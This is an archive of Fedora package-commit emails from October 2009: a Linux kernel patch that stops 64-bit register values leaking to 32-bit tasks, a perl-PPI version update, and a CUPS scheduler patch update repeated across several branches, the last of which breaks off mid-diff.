While 32-bit processes can't directly access R8...R15, they can
gain access to these registers by temporarily switching themselves
into 64-bit mode.

Therefore, registers not preserved anyway by called C functions
(i.e. R8...R11) must be cleared prior to returning to user mode.

Signed-off-by: Jan Beulich <jbeulich at novell.com>
Cc: <stable at kernel.org>
LKML-Reference: <4AC34D73020000780001744A at vpn.id2.novell.com>
Signed-off-by: Ingo Molnar <mingo at elte.hu>
---

diff --git a/arch/x86/ia32/ia32entry.S b/arch/x86/ia32/ia32entry.S
index 74619c4..1733f9f 100644
--- a/arch/x86/ia32/ia32entry.S
+++ b/arch/x86/ia32/ia32entry.S
@@ -21,8 +21,8 @@
 #define __AUDIT_ARCH_LE	   0x40000000
 
 #ifndef CONFIG_AUDITSYSCALL
-#define sysexit_audit int_ret_from_sys_call
-#define sysretl_audit int_ret_from_sys_call
+#define sysexit_audit ia32_ret_from_sys_call
+#define sysretl_audit ia32_ret_from_sys_call
 #endif
 
 #define IA32_NR_syscalls ((ia32_syscall_end - ia32_sys_call_table)/8)
@@ -39,12 +39,12 @@
 	.endm 
 
 	/* clobbers %eax */	
-	.macro  CLEAR_RREGS _r9=rax
+	.macro  CLEAR_RREGS offset=0, _r9=rax
 	xorl 	%eax,%eax
-	movq	%rax,R11(%rsp)
-	movq	%rax,R10(%rsp)
-	movq	%\_r9,R9(%rsp)
-	movq	%rax,R8(%rsp)
+	movq	%rax,\offset+R11(%rsp)
+	movq	%rax,\offset+R10(%rsp)
+	movq	%\_r9,\offset+R9(%rsp)
+	movq	%rax,\offset+R8(%rsp)
 	.endm
 
 	/*
@@ -172,6 +172,10 @@ sysexit_from_sys_call:
 	movl	RIP-R11(%rsp),%edx		/* User %eip */
 	CFI_REGISTER rip,rdx
 	RESTORE_ARGS 1,24,1,1,1,1
+	xorq	%r8,%r8
+	xorq	%r9,%r9
+	xorq	%r10,%r10
+	xorq	%r11,%r11
 	popfq
 	CFI_ADJUST_CFA_OFFSET -8
 	/*CFI_RESTORE rflags*/
@@ -202,7 +206,7 @@ sysexit_from_sys_call:
 
 	.macro auditsys_exit exit,ebpsave=RBP
 	testl $(_TIF_ALLWORK_MASK & ~_TIF_SYSCALL_AUDIT),TI_flags(%r10)
-	jnz int_ret_from_sys_call
+	jnz ia32_ret_from_sys_call
 	TRACE_IRQS_ON
 	sti
 	movl %eax,%esi		/* second arg, syscall return value */
@@ -218,8 +222,9 @@ sysexit_from_sys_call:
 	cli
 	TRACE_IRQS_OFF
 	testl %edi,TI_flags(%r10)
-	jnz int_with_check
-	jmp \exit
+	jz \exit
+	CLEAR_RREGS -ARGOFFSET
+	jmp int_with_check
 	.endm
 
 sysenter_auditsys:
@@ -329,6 +334,9 @@ sysretl_from_sys_call:
 	CFI_REGISTER rip,rcx
 	movl EFLAGS-ARGOFFSET(%rsp),%r11d	
 	/*CFI_REGISTER rflags,r11*/
+	xorq	%r10,%r10
+	xorq	%r9,%r9
+	xorq	%r8,%r8
 	TRACE_IRQS_ON
 	movl RSP-ARGOFFSET(%rsp),%esp
 	CFI_RESTORE rsp
@@ -353,7 +361,7 @@ cstar_tracesys:
 #endif
 	xchgl %r9d,%ebp
 	SAVE_REST
-	CLEAR_RREGS r9
+	CLEAR_RREGS 0, r9
 	movq $-ENOSYS,RAX(%rsp)	/* ptrace can change this for a bad syscall */
 	movq %rsp,%rdi        /* &pt_regs -> arg1 */
 	call syscall_trace_enter
@@ -425,6 +433,8 @@ ia32_do_call:
 	call *ia32_sys_call_table(,%rax,8) # xxx: rip relative
 ia32_sysret:
 	movq %rax,RAX-ARGOFFSET(%rsp)
+ia32_ret_from_sys_call:
+	CLEAR_RREGS -ARGOFFSET
 	jmp int_ret_from_sys_call 
 
 ia32_tracesys:			 
@@ -442,8 +452,8 @@ END(ia32_syscall)
 
 ia32_badsys:
 	movq $0,ORIG_RAX-ARGOFFSET(%rsp)
-	movq $-ENOSYS,RAX-ARGOFFSET(%rsp)
-	jmp int_ret_from_sys_call
+	movq $-ENOSYS,%rax
+	jmp ia32_sysret
 
 quiet_ni_syscall:
 	movq $-ENOSYS,%rax

x86-streamline-32-bit-syscall-entry-code.patch:
 ia32entry.S |   26 ++++++++++----------------
 1 file changed, 10 insertions(+), 16 deletions(-)

--- NEW FILE x86-streamline-32-bit-syscall-entry-code.patch ---
From: Jan Beulich <jbeulich at novell.com>
Date: Fri, 29 Aug 2008 12:21:11 +0000 (+0100)
Subject: x86-64: slightly stream-line 32-bit syscall entry code
X-Git-Tag: v2.6.28-rc1~611^2~97
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=295286a89107c353b9677bc604361c537fd6a1c0

x86-64: slightly stream-line 32-bit syscall entry code

Avoid updating registers or memory twice as well as needlessly loading
or copying registers.

Signed-off-by: Jan Beulich <jbeulich at novell.com>
Signed-off-by: Ingo Molnar <mingo at elte.hu>
---

diff --git a/arch/x86/ia32/ia32entry.S b/arch/x86/ia32/ia32entry.S
index ffc1bb4..eb43147 100644
--- a/arch/x86/ia32/ia32entry.S
+++ b/arch/x86/ia32/ia32entry.S
@@ -39,11 +39,11 @@
 	.endm 
 
 	/* clobbers %eax */	
-	.macro  CLEAR_RREGS
+	.macro  CLEAR_RREGS _r9=rax
 	xorl 	%eax,%eax
 	movq	%rax,R11(%rsp)
 	movq	%rax,R10(%rsp)
-	movq	%rax,R9(%rsp)
+	movq	%\_r9,R9(%rsp)
 	movq	%rax,R8(%rsp)
 	.endm
 
@@ -52,11 +52,10 @@
 	 * We don't reload %eax because syscall_trace_enter() returned
 	 * the value it wants us to use in the table lookup.
 	 */
-	.macro LOAD_ARGS32 offset
-	movl \offset(%rsp),%r11d
-	movl \offset+8(%rsp),%r10d
+	.macro LOAD_ARGS32 offset, _r9=0
+	.if \_r9
 	movl \offset+16(%rsp),%r9d
-	movl \offset+24(%rsp),%r8d
+	.endif
 	movl \offset+40(%rsp),%ecx
 	movl \offset+48(%rsp),%edx
 	movl \offset+56(%rsp),%esi
@@ -145,7 +144,7 @@ ENTRY(ia32_sysenter_target)
 	SAVE_ARGS 0,0,1
  	/* no need to do an access_ok check here because rbp has been
  	   32bit zero extended */ 
-1:	movl	(%rbp),%r9d
+1:	movl	(%rbp),%ebp
  	.section __ex_table,"a"
  	.quad 1b,ia32_badarg
  	.previous	
@@ -157,7 +156,7 @@ ENTRY(ia32_sysenter_target)
 	cmpl	$(IA32_NR_syscalls-1),%eax
 	ja	ia32_badsys
 sysenter_do_call:
-	IA32_ARG_FIXUP 1
+	IA32_ARG_FIXUP
 sysenter_dispatch:
 	call	*ia32_sys_call_table(,%rax,8)
 	movq	%rax,RAX-ARGOFFSET(%rsp)
@@ -234,20 +233,17 @@ sysexit_audit:
 #endif
 
 sysenter_tracesys:
-	xchgl	%r9d,%ebp
 #ifdef CONFIG_AUDITSYSCALL
 	testl	$(_TIF_WORK_SYSCALL_ENTRY & ~_TIF_SYSCALL_AUDIT),TI_flags(%r10)
 	jz	sysenter_auditsys
 #endif
 	SAVE_REST
 	CLEAR_RREGS
-	movq	%r9,R9(%rsp)
 	movq	$-ENOSYS,RAX(%rsp)/* ptrace can change this for a bad syscall */
 	movq	%rsp,%rdi        /* &pt_regs -> arg1 */
 	call	syscall_trace_enter
 	LOAD_ARGS32 ARGOFFSET  /* reload args from stack in case ptrace changed it */
 	RESTORE_REST
-	xchgl	%ebp,%r9d
 	cmpl	$(IA32_NR_syscalls-1),%eax
 	ja	int_ret_from_sys_call /* sysenter_tracesys has set RAX(%rsp) */
 	jmp	sysenter_do_call
@@ -314,9 +310,9 @@ ENTRY(ia32_cstar_target)
 	testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%r10)
 	CFI_REMEMBER_STATE
 	jnz   cstar_tracesys
-cstar_do_call:	
 	cmpl $IA32_NR_syscalls-1,%eax
 	ja  ia32_badsys
+cstar_do_call:
 	IA32_ARG_FIXUP 1
 cstar_dispatch:
 	call *ia32_sys_call_table(,%rax,8)
@@ -357,15 +353,13 @@ cstar_tracesys:
 #endif
 	xchgl %r9d,%ebp
 	SAVE_REST
-	CLEAR_RREGS
-	movq %r9,R9(%rsp)
+	CLEAR_RREGS r9
 	movq $-ENOSYS,RAX(%rsp)	/* ptrace can change this for a bad syscall */
 	movq %rsp,%rdi        /* &pt_regs -> arg1 */
 	call syscall_trace_enter
-	LOAD_ARGS32 ARGOFFSET  /* reload args from stack in case ptrace changed it */
+	LOAD_ARGS32 ARGOFFSET, 1  /* reload args from stack in case ptrace changed it */
 	RESTORE_REST
 	xchgl %ebp,%r9d
-	movl RSP-ARGOFFSET(%rsp), %r8d
 	cmpl $(IA32_NR_syscalls-1),%eax
 	ja int_ret_from_sys_call /* cstar_tracesys has set RAX(%rsp) */
 	jmp cstar_do_call


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.98
retrieving revision 1.1206.2.99
diff -u -p -r1.1206.2.98 -r1.1206.2.99
--- kernel.spec	7 Oct 2009 11:14:39 -0000	1.1206.2.98
+++ kernel.spec	7 Oct 2009 16:22:41 -0000	1.1206.2.99
@@ -795,6 +795,10 @@ Patch15300: x86-increase-min_gap-to-incl
 # CVE-2009-2908
 Patch15400: ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch
 
+# fix leakage of 64-bit regs to 32-bit tasks
+Patch15500: x86-streamline-32-bit-syscall-entry-code.patch
+Patch15510: x86-dont-leak-64-bit-kernel-register-values.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1439,6 +1443,10 @@ ApplyPatch x86-increase-min_gap-to-inclu
 # CVE-2009-2908
 ApplyPatch ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch
 
+# fix leakage of 64-bit regs to 32-bit tasks
+ApplyPatch x86-streamline-32-bit-syscall-entry-code.patch
+ApplyPatch x86-dont-leak-64-bit-kernel-register-values.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2014,6 +2022,9 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
+* Wed Oct 07 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.36-170.2.99
+- x86: fix leakage of kernel 64-bit registers to 32-bit tasks.
+
 * Wed Oct 07 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.36-170.2.98
 - eCryptfs: Prevent lower dentry from going negative during unlink (CVE-2009-2908)
 



From kasal at fedoraproject.org  Wed Oct  7 16:30:06 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed,  7 Oct 2009 16:30:06 +0000 (UTC)
Subject: rpms/perl-PPI/devel .cvsignore, 1.8, 1.9 perl-PPI.spec, 1.14,
	1.15 sources, 1.8, 1.9
Message-ID: <20091007163006.A83A311C02A3@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-PPI/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28738

Modified Files:
	.cvsignore perl-PPI.spec sources 
Log Message:
- new upstream version
- update build requires


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-PPI/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	9 Sep 2008 19:40:13 -0000	1.8
+++ .cvsignore	7 Oct 2009 16:30:06 -0000	1.9
@@ -1 +1 @@
-PPI-1.203.tar.gz
+PPI-1.206.tar.gz


Index: perl-PPI.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-PPI/devel/perl-PPI.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- perl-PPI.spec	26 Jul 2009 14:02:53 -0000	1.14
+++ perl-PPI.spec	7 Oct 2009 16:30:06 -0000	1.15
@@ -1,6 +1,6 @@
 Name:           perl-PPI
-Version:        1.203
-Release:        3%{?dist}
+Version:        1.206
+Release:        1%{?dist}
 Summary:        Parse, Analyze and Manipulate Perl
 
 Group:          Development/Libraries
@@ -10,19 +10,24 @@ Source0:        http://www.cpan.org/auth
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
+BuildRequires:  perl(ExtUtils::MakeMaker)
 # Perl core modules
-BuildRequires:  perl(List::Util) >= 1.19
-BuildRequires:  perl(Storable) >= 2.14
+BuildRequires:  perl(List::Util) >= 1.20
+BuildRequires:  perl(Storable) >= 2.17
+BuildRequires:  perl(Test::More) >= 0.86
+BuildRequires:  perl(Digest::MD5) >= 2.35
 # CPAN modules
-BuildRequires:  perl(Clone) >= 0.22
-BuildRequires:  perl(File::Remove) >= 0.22
+BuildRequires:  perl(Clone) >= 0.30
+BuildRequires:  perl(File::Remove) >= 1.42
 BuildRequires:  perl(IO::String) >= 1.07
-BuildRequires:  perl(List::MoreUtils) >= 0.13
-BuildRequires:  perl(Params::Util) >= 0.10
-BuildRequires:  perl(Test::ClassAPI) >= 1.02
-BuildRequires:  perl(Test::SubCalls) >= 0.01
-BuildRequires:  perl(Test::Object) >= 0.06
+BuildRequires:  perl(List::MoreUtils) >= 0.16
+BuildRequires:  perl(Params::Util) >= 1.00
+BuildRequires:  perl(Test::ClassAPI) >= 1.04
+BuildRequires:  perl(Test::NoWarnings) >= 0.084
+BuildRequires:  perl(Test::Object) >= 0.07
 BuildRequires:  perl(Test::Pod) >= 1.00
+BuildRequires:  perl(Test::SubCalls) >= 1.07
+BuildRequires:  perl(Task::Weaken)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 %description
@@ -62,6 +67,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 1.206-1
+- new upstream version
+- update build requires
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.203-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-PPI/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	9 Sep 2008 19:40:13 -0000	1.8
+++ sources	7 Oct 2009 16:30:06 -0000	1.9
@@ -1 +1 @@
-4d7e598d880ee397e219ae17a9d90277  PPI-1.203.tar.gz
+82b1bd95be146fc742bcfdf067715650  PPI-1.206.tar.gz



From twaugh at fedoraproject.org  Wed Oct  7 16:46:05 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed,  7 Oct 2009 16:46:05 +0000 (UTC)
Subject: rpms/cups/devel cups-str3356.patch,1.1,1.2 cups.spec,1.524,1.525
Message-ID: <20091007164605.0EAE011C00E6@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/cups/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32562

Modified Files:
	cups-str3356.patch cups.spec 
Log Message:
* Wed Oct  7 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-8
- Use upstream patch for STR #3356 (bug #526405).


cups-str3356.patch:
 ipp.c |   52 +++++++++++++++++++++++++++++-----------------------
 1 file changed, 29 insertions(+), 23 deletions(-)

Index: cups-str3356.patch
===================================================================
RCS file: /cvs/pkgs/rpms/cups/devel/cups-str3356.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- cups-str3356.patch	30 Sep 2009 11:37:42 -0000	1.1
+++ cups-str3356.patch	7 Oct 2009 16:46:04 -0000	1.2
@@ -1,13 +1,101 @@
-diff -up cups-1.4.1/scheduler/printers.c.str3356 cups-1.4.1/scheduler/printers.c
---- cups-1.4.1/scheduler/printers.c.str3356	2009-09-30 12:02:53.467761538 +0100
-+++ cups-1.4.1/scheduler/printers.c	2009-09-30 12:03:28.489636706 +0100
-@@ -3993,7 +3993,8 @@ load_ppd(cupsd_printer_t *p)		/* I - Pri
-   ippDelete(p->ppd_attrs);
-   p->ppd_attrs = ippNew();
- 
--  if (cache_info.st_mtime >= ppd_info.st_mtime &&
-+  if (ppd_info.st_mtime != 1 &&
-+      cache_info.st_mtime >= ppd_info.st_mtime &&
-       (cache = cupsFileOpen(cache_name, "r")) != NULL)
+diff -up cups-1.4.1/scheduler/ipp.c.str3356 cups-1.4.1/scheduler/ipp.c
+--- cups-1.4.1/scheduler/ipp.c.str3356	2009-10-07 17:26:27.504800579 +0100
++++ cups-1.4.1/scheduler/ipp.c	2009-10-07 17:26:31.311800539 +0100
+@@ -2324,8 +2324,9 @@ add_printer(cupsd_client_t  *con,	/* I -
+ 		dstfile[1024];		/* Destination Script/PPD file */
+   int		modify;			/* Non-zero if we are modifying */
+   char		newname[IPP_MAX_NAME];	/* New printer name */
+-  int		need_restart_job;	/* Need to restart job? */
+-  int		set_device_uri,		/* Did we set the device URI? */
++  int		changed_driver,		/* Changed the PPD/interface script? */
++		need_restart_job,	/* Need to restart job? */
++		set_device_uri,		/* Did we set the device URI? */
+ 		set_port_monitor;	/* Did we set the port monitor? */
+ 
+ 
+@@ -2469,6 +2470,7 @@ add_printer(cupsd_client_t  *con,	/* I -
+   * Look for attributes and copy them over as needed...
+   */
+ 
++  changed_driver   = 0;
+   need_restart_job = 0;
+ 
+   if ((attr = ippFindAttribute(con->request, "printer-location",
+@@ -2731,6 +2733,7 @@ add_printer(cupsd_client_t  *con,	/* I -
+   if (con->filename)
    {
-    /*
+     need_restart_job = 1;
++    changed_driver   = 1;
+ 
+     strlcpy(srcfile, con->filename, sizeof(srcfile));
+ 
+@@ -2801,18 +2804,6 @@ add_printer(cupsd_client_t  *con,	/* I -
+ 	cupsdLogMessage(CUPSD_LOG_DEBUG,
+ 			"Copied PPD file successfully!");
+ 	chmod(dstfile, 0644);
+-
+-#ifdef __APPLE__
+-       /*
+-        * (Re)register color profiles...
+-	*/
+-
+-        if (!RunUser)
+-	{
+-	  apple_unregister_profiles(printer);
+-	  apple_register_profiles(printer);
+-        }
+-#endif /* __APPLE__ */
+       }
+       else
+       {
+@@ -2829,6 +2820,7 @@ add_printer(cupsd_client_t  *con,	/* I -
+                                     IPP_TAG_NAME)) != NULL)
+   {
+     need_restart_job = 1;
++    changed_driver   = 1;
+ 
+     if (!strcmp(attr->values[0].string.text, "raw"))
+     {
+@@ -2866,19 +2858,33 @@ add_printer(cupsd_client_t  *con,	/* I -
+       cupsdLogMessage(CUPSD_LOG_DEBUG,
+ 		      "Copied PPD file successfully!");
+       chmod(dstfile, 0644);
++    }
++  }
++
++  if (changed_driver)
++  {
++   /*
++    * If we changed the PPD/interface script, then remove the printer's cache
++    * file...
++    */
++
++    char cache_name[1024];		/* Cache filename for printer attrs */
++
++    snprintf(cache_name, sizeof(cache_name), "%s/%s.ipp", CacheDir,
++             printer->name);
++    unlink(cache_name);
+ 
+ #ifdef __APPLE__
+-     /*
+-      * (Re)register color profiles...
+-      */
++   /*
++    * (Re)register color profiles...
++    */
+ 
+-      if (!RunUser)
+-      {
+-	apple_unregister_profiles(printer);
+-	apple_register_profiles(printer);
+-      }
+-#endif /* __APPLE__ */
++    if (!RunUser)
++    {
++      apple_unregister_profiles(printer);
++      apple_register_profiles(printer);
+     }
++#endif /* __APPLE__ */
+   }
+ 
+  /*


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/devel/cups.spec,v
retrieving revision 1.524
retrieving revision 1.525
diff -u -p -r1.524 -r1.525
--- cups.spec	2 Oct 2009 12:03:19 -0000	1.524
+++ cups.spec	7 Oct 2009 16:46:04 -0000	1.525
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -509,6 +509,9 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Wed Oct  7 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-8
+- Use upstream patch for STR #3356 (bug #526405).
+
 * Fri Oct  2 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-7
 - Fixed orientation of page labels when printing text in landscape
   mode (bug #520141, STR #3334).



From twaugh at fedoraproject.org  Wed Oct  7 16:46:27 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed,  7 Oct 2009 16:46:27 +0000 (UTC)
Subject: rpms/cups/F-12 cups-str3356.patch,1.1,1.2 cups.spec,1.524,1.525
Message-ID: <20091007164627.7992E11C00E6@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/cups/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32702

Modified Files:
	cups-str3356.patch cups.spec 
Log Message:
* Wed Oct  7 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-8
- Use upstream patch for STR #3356 (bug #526405).


cups-str3356.patch:
 ipp.c |   52 +++++++++++++++++++++++++++++-----------------------
 1 file changed, 29 insertions(+), 23 deletions(-)

Index: cups-str3356.patch
===================================================================
RCS file: /cvs/pkgs/rpms/cups/F-12/cups-str3356.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- cups-str3356.patch	30 Sep 2009 12:40:01 -0000	1.1
+++ cups-str3356.patch	7 Oct 2009 16:46:27 -0000	1.2
@@ -1,13 +1,101 @@
-diff -up cups-1.4.1/scheduler/printers.c.str3356 cups-1.4.1/scheduler/printers.c
---- cups-1.4.1/scheduler/printers.c.str3356	2009-09-30 12:02:53.467761538 +0100
-+++ cups-1.4.1/scheduler/printers.c	2009-09-30 12:03:28.489636706 +0100
-@@ -3993,7 +3993,8 @@ load_ppd(cupsd_printer_t *p)		/* I - Pri
-   ippDelete(p->ppd_attrs);
-   p->ppd_attrs = ippNew();
- 
--  if (cache_info.st_mtime >= ppd_info.st_mtime &&
-+  if (ppd_info.st_mtime != 1 &&
-+      cache_info.st_mtime >= ppd_info.st_mtime &&
-       (cache = cupsFileOpen(cache_name, "r")) != NULL)
+diff -up cups-1.4.1/scheduler/ipp.c.str3356 cups-1.4.1/scheduler/ipp.c
+--- cups-1.4.1/scheduler/ipp.c.str3356	2009-10-07 17:26:27.504800579 +0100
++++ cups-1.4.1/scheduler/ipp.c	2009-10-07 17:26:31.311800539 +0100
+@@ -2324,8 +2324,9 @@ add_printer(cupsd_client_t  *con,	/* I -
+ 		dstfile[1024];		/* Destination Script/PPD file */
+   int		modify;			/* Non-zero if we are modifying */
+   char		newname[IPP_MAX_NAME];	/* New printer name */
+-  int		need_restart_job;	/* Need to restart job? */
+-  int		set_device_uri,		/* Did we set the device URI? */
++  int		changed_driver,		/* Changed the PPD/interface script? */
++		need_restart_job,	/* Need to restart job? */
++		set_device_uri,		/* Did we set the device URI? */
+ 		set_port_monitor;	/* Did we set the port monitor? */
+ 
+ 
+@@ -2469,6 +2470,7 @@ add_printer(cupsd_client_t  *con,	/* I -
+   * Look for attributes and copy them over as needed...
+   */
+ 
++  changed_driver   = 0;
+   need_restart_job = 0;
+ 
+   if ((attr = ippFindAttribute(con->request, "printer-location",
+@@ -2731,6 +2733,7 @@ add_printer(cupsd_client_t  *con,	/* I -
+   if (con->filename)
    {
-    /*
+     need_restart_job = 1;
++    changed_driver   = 1;
+ 
+     strlcpy(srcfile, con->filename, sizeof(srcfile));
+ 
+@@ -2801,18 +2804,6 @@ add_printer(cupsd_client_t  *con,	/* I -
+ 	cupsdLogMessage(CUPSD_LOG_DEBUG,
+ 			"Copied PPD file successfully!");
+ 	chmod(dstfile, 0644);
+-
+-#ifdef __APPLE__
+-       /*
+-        * (Re)register color profiles...
+-	*/
+-
+-        if (!RunUser)
+-	{
+-	  apple_unregister_profiles(printer);
+-	  apple_register_profiles(printer);
+-        }
+-#endif /* __APPLE__ */
+       }
+       else
+       {
+@@ -2829,6 +2820,7 @@ add_printer(cupsd_client_t  *con,	/* I -
+                                     IPP_TAG_NAME)) != NULL)
+   {
+     need_restart_job = 1;
++    changed_driver   = 1;
+ 
+     if (!strcmp(attr->values[0].string.text, "raw"))
+     {
+@@ -2866,19 +2858,33 @@ add_printer(cupsd_client_t  *con,	/* I -
+       cupsdLogMessage(CUPSD_LOG_DEBUG,
+ 		      "Copied PPD file successfully!");
+       chmod(dstfile, 0644);
++    }
++  }
++
++  if (changed_driver)
++  {
++   /*
++    * If we changed the PPD/interface script, then remove the printer's cache
++    * file...
++    */
++
++    char cache_name[1024];		/* Cache filename for printer attrs */
++
++    snprintf(cache_name, sizeof(cache_name), "%s/%s.ipp", CacheDir,
++             printer->name);
++    unlink(cache_name);
+ 
+ #ifdef __APPLE__
+-     /*
+-      * (Re)register color profiles...
+-      */
++   /*
++    * (Re)register color profiles...
++    */
+ 
+-      if (!RunUser)
+-      {
+-	apple_unregister_profiles(printer);
+-	apple_register_profiles(printer);
+-      }
+-#endif /* __APPLE__ */
++    if (!RunUser)
++    {
++      apple_unregister_profiles(printer);
++      apple_register_profiles(printer);
+     }
++#endif /* __APPLE__ */
+   }
+ 
+  /*


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/F-12/cups.spec,v
retrieving revision 1.524
retrieving revision 1.525
diff -u -p -r1.524 -r1.525
--- cups.spec	2 Oct 2009 12:02:44 -0000	1.524
+++ cups.spec	7 Oct 2009 16:46:27 -0000	1.525
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -509,6 +509,9 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Wed Oct  7 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-8
+- Use upstream patch for STR #3356 (bug #526405).
+
 * Fri Oct  2 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-7
 - Fixed orientation of page labels when printing text in landscape
   mode (bug #520141, STR #3334).



From twaugh at fedoraproject.org  Wed Oct  7 16:46:43 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed,  7 Oct 2009 16:46:43 +0000 (UTC)
Subject: rpms/cups/F-11 cups-str3356.patch,1.1,1.2 cups.spec,1.520,1.521
Message-ID: <20091007164643.97FE711C00E6@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/cups/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv364

Modified Files:
	cups-str3356.patch cups.spec 
Log Message:
* Wed Oct  7 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-3
- Use upstream patch for STR #3356 (bug #526405).


cups-str3356.patch:
 ipp.c |   52 +++++++++++++++++++++++++++++-----------------------
 1 file changed, 29 insertions(+), 23 deletions(-)

Index: cups-str3356.patch
===================================================================
RCS file: /cvs/pkgs/rpms/cups/F-11/cups-str3356.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- cups-str3356.patch	30 Sep 2009 12:51:54 -0000	1.1
+++ cups-str3356.patch	7 Oct 2009 16:46:43 -0000	1.2
@@ -1,13 +1,101 @@
-diff -up cups-1.4.1/scheduler/printers.c.str3356 cups-1.4.1/scheduler/printers.c
---- cups-1.4.1/scheduler/printers.c.str3356	2009-09-30 12:02:53.467761538 +0100
-+++ cups-1.4.1/scheduler/printers.c	2009-09-30 12:03:28.489636706 +0100
-@@ -3993,7 +3993,8 @@ load_ppd(cupsd_printer_t *p)		/* I - Pri
-   ippDelete(p->ppd_attrs);
-   p->ppd_attrs = ippNew();
- 
--  if (cache_info.st_mtime >= ppd_info.st_mtime &&
-+  if (ppd_info.st_mtime != 1 &&
-+      cache_info.st_mtime >= ppd_info.st_mtime &&
-       (cache = cupsFileOpen(cache_name, "r")) != NULL)
+diff -up cups-1.4.1/scheduler/ipp.c.str3356 cups-1.4.1/scheduler/ipp.c
+--- cups-1.4.1/scheduler/ipp.c.str3356	2009-10-07 17:26:27.504800579 +0100
++++ cups-1.4.1/scheduler/ipp.c	2009-10-07 17:26:31.311800539 +0100
+@@ -2324,8 +2324,9 @@ add_printer(cupsd_client_t  *con,	/* I -
+ 		dstfile[1024];		/* Destination Script/PPD file */
+   int		modify;			/* Non-zero if we are modifying */
+   char		newname[IPP_MAX_NAME];	/* New printer name */
+-  int		need_restart_job;	/* Need to restart job? */
+-  int		set_device_uri,		/* Did we set the device URI? */
++  int		changed_driver,		/* Changed the PPD/interface script? */
++		need_restart_job,	/* Need to restart job? */
++		set_device_uri,		/* Did we set the device URI? */
+ 		set_port_monitor;	/* Did we set the port monitor? */
+ 
+ 
+@@ -2469,6 +2470,7 @@ add_printer(cupsd_client_t  *con,	/* I -
+   * Look for attributes and copy them over as needed...
+   */
+ 
++  changed_driver   = 0;
+   need_restart_job = 0;
+ 
+   if ((attr = ippFindAttribute(con->request, "printer-location",
+@@ -2731,6 +2733,7 @@ add_printer(cupsd_client_t  *con,	/* I -
+   if (con->filename)
    {
-    /*
+     need_restart_job = 1;
++    changed_driver   = 1;
+ 
+     strlcpy(srcfile, con->filename, sizeof(srcfile));
+ 
+@@ -2801,18 +2804,6 @@ add_printer(cupsd_client_t  *con,	/* I -
+ 	cupsdLogMessage(CUPSD_LOG_DEBUG,
+ 			"Copied PPD file successfully!");
+ 	chmod(dstfile, 0644);
+-
+-#ifdef __APPLE__
+-       /*
